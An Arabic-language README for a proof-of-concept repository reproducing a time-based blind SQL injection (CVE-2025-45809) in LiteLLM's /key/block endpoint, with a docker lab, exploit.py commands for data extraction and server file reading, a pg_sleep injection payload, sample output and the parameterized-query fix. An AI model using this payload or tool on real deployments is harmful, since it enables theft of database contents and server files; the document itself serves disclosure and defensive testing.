
كود لإعادة إنتاج الثغرة الأمنية بشكل فردي
/key/block (حقن أعمى زمني)LiteLLM الإصدار v1.65.4 (ما قبل v1.81.0)
يحتوي المعاملkeyفي نقاط/key/blockو/key/unblockعلى ثغرة حقن SQL.
يمكن للمهاجم استغلال تقنية الحقن الأعمى الزمني لسرقة محتوى قاعدة البيانات وقراءة ملفات الخادم.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (متوسط) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (حقن SQL) |
| المتأثر | LiteLLM < 1.81.0 (مؤكد في v1.65.4) |
| المُصحَّح | v1.81.0+ (إصلاح باستعلامات معاملية) |
| تاريخ النشر | 2025-07-03 |
| المكتشف | shadia0 (عبر مكافأة Huntr) |
| روابط | NVD • Huntr • Snyk |
تُستخدم نقاط /key/block و /key/unblock في LiteLLM لإدارة حظر/إلغاء حظر مفاتيح API.
عند معالجة المعامل key، تقوم هذه النقاط بضم إدخال المستخدم مباشرة إلى سلسلة استعلام SQL (باستخدام تنسيق f-string) دون استخدام استعلامات معاملية، مما يؤدي إلى ثغرة حقن SQL.
| النقطة | الطريقة | المعامل القابل للحقن |
|---|---|---|
/key/block | POST | key (جسم JSON) |
/key/unblock | POST | key (جسم JSON) |
pg_sleep() في PostgreSQL لتأكيد الحقن عبر فرق زمن الاستجابة.pg_read_file() في PostgreSQL لقراءة ملفات الخادم.# 1. تشغيل PostgreSQL + LiteLLM الضعيف
docker compose up -d
# 2. تثبيت التبعيات
pip install -r requirements.txt
# 3. تأكيد حقن SQL (كشف تأخير pg_sleep)
python3 exploit/exploit.py --mode check --target http://localhost:4000
ملاحظة: عند تشغيل exploit لأول مرة، سيقوم تلقائيًا باستدعاء
/key/generateلإنشاء مفتاح API، مما يؤدي إلى تشغيل Prisma لإنشاء جدولKey. هذا شرط مسبق ضروري لكي تدخل نقطة/key/blockفي مسار استعلام SQL المعرض للثغرة. إذا تم تخطي هذه الخطوة، سترجع/key/blockخطأ 401 بسبب عدم تهيئة جدولKey، مما يمنع تفعيل الحقن.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### المخرجات المتوقعة
**تأكيد الحقن (--mode check):**
الهدف : http://localhost:4000 النقطة : /key/block
[*] الخطوة 1: قياس زمن الاستجابة الأساسي... الأساسي: 0.01 ثانية (HTTP 401)
[*] الخطوة 2: اختبار الحقن الأساسي (تعليق SQL)... اختبار التعليق: 0.00 ثانية (HTTP 200)
[*] الخطوة 3: اختبار حقن pg_sleep(3)... pg_sleep(3): 3.01 ثانية (N/A)
[*] الخطوة 4: اختبار حقن pg_sleep(5)... pg_sleep(5): 5.01 ثانية (N/A)
[*] التحليل: زمن الأساسي: 0.01 ثانية pg_sleep(3): 3.01 ثانية (متوقع ~3 ث) pg_sleep(5): 5.01 ثانية (متوقع ~5 ث)
[🔥] تم تأكيد الثغرة! حقن pg_sleep() ناجح! زمن الاستجابة زاد من 0.01 ثانية إلى 5.01 ثانية
**الإصدار المُصحَّح يرفض الحقن:**
الهدف : http://localhost:4001 النقطة : /key/block
[*] الخطوة 1: قياس زمن الاستجابة الأساسي... الأساسي: 0.00 ثانية (HTTP 400)
[*] الخطوة 2: اختبار الحقن الأساسي (تعليق SQL)... اختبار التعليق: 0.00 ثانية (HTTP N/A)
[*] الخطوة 3: اختبار حقن pg_sleep(3)... pg_sleep(3): 0.00 ثانية (N/A)
[*] الخطوة 4: اختبار حقن pg_sleep(5)... pg_sleep(5): 0.00 ثانية (N/A)
[*] التحليل: زمن الأساسي: 0.00 ثانية pg_sleep(3): 0.00 ثانية (متوقع ~3 ث) pg_sleep(5): 0.00 ثانية (متوقع ~5 ث)
[+] إصدار مُصحَّح: لم يتم الكشف عن أي تأخير زمني (متوقع).
---
## التفاصيل الفنية
### الكود الضعيف
في LiteLLM v1.65.4، يكون منطق معالجة نقطة `/key/block` مشابهًا لما يلي (مبسَّط):
```python
# كود ضعيف (v1.65.4) — استخدام f-string لضم SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# ضم إدخال المستخدم مباشرة إلى استعلام SQL!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
يقوم المهاجم بحقن وظيفة التأخير الزمني في PostgreSQL عبر المعامل key:
' OR (SELECT pg_sleep(5)) IS NULL --
يصبح استعلام SQL بعد الضم:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| سيناريو الاختبار | زمن الاستجابة | الاستنتاج |
|---|---|---|
| طلب عادي (key=test) | ~0.01 ثانية | الأساسي |
| pg_sleep(3) | ~3.01 ثانية | الحقن فعال |
| pg_sleep(5) | ~5.01 ثانية | تأكيد الحقن |
يستخدم LiteLLM v1.65.4 Prisma ORM لإدارة قاعدة البيانات. يتم إنشاء جدول Key كسولًا — قبل أول استدعاء لـ /key/generate لإنشاء مفتاح API، لا يكون جدول Key موجودًا في PostgreSQL. يؤدي هذا إلى أن استعلام التحقق من المفتاح (WHERE key='{input}') في نقطة /key/block يعيد 401 قبل الوصول إلى مسار الكود المعرض للحقن بسبب عدم وجود الجدول.
يعالج إثبات المفهوم الحالي هذه المشكلة تلقائيًا: يقوم script exploit باستدعاء /key/generate لإنشاء مفتاح API قبل إرسال payload الحقن، مما يضمن تهيئة جدول قاعدة البيانات.
ملاحظة: عند بدء تشغيل الحاوية لأول مرة، انتظر حوالي 30-60 ثانية (تثبيت Prisma CLI + تهيئة قاعدة البيانات) حتى يظهر في السجّلات
Uvicorn running on http://0.0.0.0:4000ثم نفذ exploit.
CVE-2025-45809/
├── README.md # هذا الملف
├── docker-compose.yml # PostgreSQL + LiteLLM الضعيف/المصحَّح
├── litellm_config.yaml # إعدادات LiteLLM مع اتصال قاعدة البيانات
├── requirements.txt # تبعيات Python
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # النص الرئيسي للاستغلال
│ └── payload.py # باني payload حقن SQL
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
تم الإصلاح في الإصدار v1.81.0 باستخدام الاستعلامات المعاملية (Prepared Statements) بدلاً من ضم f-string:
# بعد الإصلاح — استخدام استعلامات معاملية
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # ربط آمن للمعامل
keyإخلاء المسؤولية: هذا المحتوى مُقدَّم لأغراض تعليمية واختبار أمني مصرح به فقط.